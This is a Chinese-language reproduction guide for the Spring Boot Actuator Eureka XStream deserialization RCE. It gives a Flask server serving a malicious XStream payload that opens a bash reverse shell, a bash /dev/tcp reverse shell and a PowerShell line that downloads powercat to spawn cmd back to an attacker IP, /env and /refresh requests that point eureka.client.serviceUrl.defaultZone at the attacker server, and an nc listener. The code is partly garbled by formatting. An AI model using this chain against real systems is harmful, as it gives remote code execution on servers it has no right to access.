利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

    漏洞复现

    架设响应恶意 xstream payload

    在 vps 使用 python flask 搭建一个简单的 web 服务,用来存放恶意 xstream,先使用 pip3 安装 flask 依赖
    1. pip3 install flask
    脚本如下,放在自己的 vps上,运行命令如下(需要更改自己的 vps 的 ip 地址以及反弹的端口号),这里还有一个使用 python 进行命令执行的 脚本
    1. python3 EurekaXstreamDeserializationRCE.py
    ```python

    -- coding: utf-8 --

    @Time : 2019/3/12 10:06

    @Author : j1anFen

    @Site :

    @File : run.py

linux 反弹 shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1

windows 反弹 shell

powershell

IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1‘);

powercat -c 192.168.123.1 -p 2333 -e cmd

from flask import Flask, Response

app = Flask(name)

@app.route(‘/‘, defaults={‘path’: ‘’}) @app.route(‘/‘, methods = [‘GET’, ‘POST’]) def catchall(path): xml = “”” /bin/bash -c bash -i >& /dev/tcp/vpsip/vpsport 0>&1 false java.lang.ProcessBuilder start foo foo “”” return Response(xml, mimetype=’application/xml’) if _name == “__main“: app.run(host=’0.0.0.0’, port=2222)

  1. 运行成功后显示如下<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1515624/1663577065182-5d51f2ad-3475-4ad6-8708-5def7e7a618a.png#clientId=u98b11ff6-9fa7-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=171&id=uf3b61d14&margin=%5Bobject%20Object%5D&name=image.png&originHeight=342&originWidth=1220&originalType=binary&ratio=1&rotation=0&showTitle=false&size=388544&status=done&style=none&taskId=u9ec60481-110e-4307-a480-199659ff217&title=&width=610)<br />浏览器访问 http://vps_ip:2222/xstream 会出现,并且 vps 会受到请求<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1515624/1663577227363-ba406a76-4dbf-4ddf-b2e2-331149d77e11.png#clientId=u98b11ff6-9fa7-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=805&id=u9937b7e4&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1610&originWidth=1928&originalType=binary&ratio=1&rotation=0&showTitle=false&size=349839&status=done&style=none&taskId=uac318664-b8bb-46e7-92f0-b4661d2663d&title=&width=964)<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1515624/1663577135849-4564049d-29b7-4e96-9822-c262c6bfebc9.png#clientId=u98b11ff6-9fa7-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=231&id=ud2da01a9&margin=%5Bobject%20Object%5D&name=image.png&originHeight=462&originWidth=1238&originalType=binary&ratio=1&rotation=0&showTitle=false&size=534141&status=done&style=none&taskId=u37555728-552f-4cc0-8fbe-3359175b682&title=&width=619)
  2. <a name="X52eC"></a>
  3. ### 判断目标是否出网
  4. <a name="fUAMt"></a>
  5. #### 设置 eureka.client.serviceUrl.defaultZone 属性
  6. springboot 1.x
  7. ```bash
  8. POST /env
  9. Host:
  10. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
  11. Content-Type: application/x-www-form-urlencoded
  12. eureka.client.serviceUrl.defaultZone=http://dig.pm/

springboot 2.x

  1. POST /actuator/env
  2. Host:
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
  4. Content-Type: application/json
  5. {"name":"eureka.client.serviceUrl.defaultZone","value":"http://dig.pm/"}

设置完后数据包返回如下
springboot 1.x
image.png
springboot 2.x
image.png

刷新接口

springboot 1.x

  1. POST /refresh
  2. Host:
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
  4. Content-Type: application/x-www-form-urlencoded

springboot 2.x

  1. POST /actuator/refresh
  2. Host:
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
  4. Content-Type: application/json
  5. {}

刷新后数据包如下

实际测试中发现 2.x 需要在请求中加一个 {},1.x 加或者不加都是可以的

springboot 1.x
请求体中带 {},可以成功调用 refresh 接口
image.png
请求体中不带 {},也可以成功调用 refresh 接口
image.png
springboot 2.x
image.png
访问 http://url/env 可以发现,eureka.client.serviceUrl.defaultZone 已被设置好
image.png
并且刷新后,可以接受到 dns 请求,证明可以出网
image.png

getshell

监听自己 vps

  1. nv -lvnp 7777

image.png
然后设置 eureka.client.serviceUrl.defaultZone 属性 + 刷新接口,不同的是这里的 eureka.client.serviceUrl.defaultZone=要配置自己的 vps 地址,例如 http://vps-ip:2222/xstream
然后刷新后 vps 会收到请求
image.png
同时 nc 接受到反弹的 shell
image.png

漏洞环境

可以在这里找到 漏洞环境 ,使用 idea 打开运行即可

复现中出现的问题

使用 macos 本地搭建环境进行复现,发现打完 payload 后 vps 没收到返回的 shell,需要等待一段时间后才会有反应
image.png
image.png

参考